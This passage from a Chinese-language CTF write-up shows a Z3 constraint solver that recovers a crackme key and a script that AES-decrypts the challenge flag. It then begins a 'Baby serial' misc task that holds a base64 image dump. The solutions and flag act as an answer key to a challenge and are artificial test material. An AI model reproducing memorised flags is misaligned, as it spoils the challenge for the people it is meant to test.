26px;"><span leaf="">0x99</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2d</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0f</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x54</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbb</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x16</span></span><span leaf="">,</span><br/><span leaf="">]</span><br/><span leaf="">s = Solver()</span><br/><span leaf="">k = [BitVec(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#39;k</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{i}</span></span><span leaf="">&#39;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">)]</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># printable</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">):</span><br/><span leaf="">    s.add(k[i] &gt;= PRINT_MIN, k[i] &lt;= PRINT_MAX)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># func1 length already fixed =32</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># func8 tag: XOR per 4 bytes</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">):</span><br/><span leaf="">    a = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">*i</span><br/><span leaf="">    s.add(k[a] ^ k[a+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] ^ k[a+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">] ^ k[a+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">] == target_tag[i])</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># func4 nibble: per 8 bytes, XOR of ((hi^lo)&amp;0xF)</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">nib8</span></span><span style="line-height: 26px;"><span leaf="">(v)</span></span><span leaf="">:</span></span><br/><span leaf="">    hi = LShR(v,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xF</span></span><br/><span leaf="">    lo = v &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xF</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (hi ^ lo) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xF</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> g </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">):</span><br/><span leaf="">    acc = BitVecVal(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> j </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">):</span><br/><span leaf="">        acc = acc ^ nib8(k[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">*g+j])</span><br/><span leaf="">    s.add(acc == BitVecVal(target_nibble[g], </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">))</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># func5 colsum: 4x8 matrix col sums mod 97</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> c </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">):</span><br/><span leaf="">    sm = ZeroExt(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">,k[c]) + ZeroExt(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">,k[c+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">]) + ZeroExt(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">,k[c+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">]) + ZeroExt(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">,k[c+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf="">])</span><br/><span leaf="">    s.add(URem(sm, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">97</span></span><span leaf="">) == target_col[c])</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># func6 pairs</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> a,b,mod,res </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> pairs:</span><br/><span leaf="">    sm = ZeroExt(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">,k[a]) + ZeroExt(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">,k[b])</span><br/><span leaf="">    s.add(URem(sm, mod) == res)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># func7 sbox even positions XOR</span></span><br/><span leaf="">SBOX = Array(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;SBOX&#39;</span></span><span leaf="">, BitVecSort(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">), BitVecSort(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">))</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i,val </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> enumerate(sbox):</span><br/><span leaf="">    s.add(Select(SBOX, BitVecVal(i,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)) == BitVecVal(val,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">))</span><br/><span leaf="">acc = BitVecVal(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">):</span><br/><span leaf="">    acc = acc ^ Select(SBOX, k[i])</span><br/><span leaf="">s.add(acc == target_sbox_xor)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># func3 LFSR 16-bit: encode as BitVec(16) update</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">lfsr_step</span></span><span style="line-height: 26px;"><span leaf="">(state16, byte8)</span></span><span leaf="">:</span></span><br/><span leaf="">    st = state16</span><br/><span leaf="">    x = byte8</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> _ </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">):</span><br/><span leaf="">        lsb = (st ^ ZeroExt(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">,x)) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><br/><span leaf="">        st = LShR(st,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><br/><span leaf="">        x  = LShR(x,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><br/><span leaf="">        st = If(lsb != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, st ^ BitVecVal(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xB400</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">), st)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> st</span><br/><span leaf="">st = BitVecVal(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xACE1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">):</span><br/><span leaf="">    st = lfsr_step(st, k[i])</span><br/><span leaf="">s.add(st == target_lfsr)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># ----- solve -----</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> s.check() != sat:</span><br/><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;unsat&#34;</span></span><span leaf="">)</span><br/><span leaf="">    quit()</span><br/><span leaf="">m = s.model()</span><br/><span leaf="">key_bytes = bytes([m.eval(k[i]).as_long() </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">)])</span><br/><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;KEY =&#34;</span></span><span leaf="">, key_bytes)</span><br/><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;KEY(str) =&#34;</span></span><span leaf="">, key_bytes.decode(errors=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;replace&#34;</span></span><span leaf="">))</span><br/><span leaf="">aeskey = hashlib.sha256(key_bytes).digest()</span><br/><span leaf="">iv = hashlib.md5(key_bytes[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">:]).digest()</span><br/><span leaf="">pt = AES.new(aeskey, AES.MODE_CBC, iv).decrypt(enc)</span><br/><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;PT =&#34;</span></span><span leaf="">, pt)</span><br/><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;PT(str) =&#34;</span></span><span leaf="">, pt.decode(errors=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;replace&#34;</span></span><span leaf="">))</span><br/><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;prefix ok?&#34;</span></span><span leaf="">, pt.startswith(prefix))</span></code></pre><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">aes 的实现反汇编有点问题：</span><br/><span leaf="">import hashlib</span><br/><span leaf="">from Crypto.Cipher import AES</span><br/><span leaf="">key = b&#34;Gh0stK3y-R3v3rs3-M3-1f-U-C4n!!!!&#34;</span><br/><span leaf="">enc = bytes([</span><br/><span leaf="">    0x00,0x37,0xA8,0x85,0x8C,0x84,0xFD,0x73,0x23,0x3E,0xE9,0x35,0x71,0xD8,0x2B,0xDE,</span><br/><span leaf="">    0x4F,0x18,0x46,0xE8,0x12,0x41,0xAF,0x6D,0xF9,0x5E,0xD4,0xBD,0x15,0x6A,0x89,0x99</span><br/><span leaf="">])</span><br/><span leaf=""># asm-confirmed derivation:</span><br/><span leaf="">aes_key = hashlib.sha256(key[:16]).digest()   # keyBytes[:16]</span><br/><span leaf="">iv      = hashlib.md5(key[16:]).digest()      # keyBytes[16:]</span><br/><span leaf="">pt = AES.new(aes_key, AES.MODE_CBC, iv).decrypt(enc)</span><br/><span leaf="">print(&#34;PT bytes:&#34;, pt)</span><br/><span leaf="">print(&#34;PT str  :&#34;, pt.decode(&#34;utf-8&#34;, errors=&#34;replace&#34;))</span><br/><span leaf="">print(&#34;prefix ok?&#34;, pt.startswith(b&#34;crackme{&#34;))</span><br/><span leaf=""># try extract crackme{...}</span><br/><span leaf="">s = pt.decode(&#34;utf-8&#34;, errors=&#34;ignore&#34;)</span><br/><span leaf="">if &#34;crackme{&#34; in s:</span><br/><span leaf="">    start = s.index(&#34;crackme{&#34;)</span><br/><span leaf="">    end = s.find(&#34;}&#34;, start)</span><br/><span leaf="">    if end != -1:</span><br/><span leaf="">        print(&#34;FLAG:&#34;, s[start:end+1])</span><br/><span leaf="">//crackme{AES_gh0stk3y_r3v3rs3d!!}</span></code></pre><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">Misc:</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Baby serial</span></span></h3><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">logic分析得到的内容：</span><br/><span leaf="">Async Serial 格式：</span><br/><span leaf="">115200, 8N1</span><br/><span leaf="">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 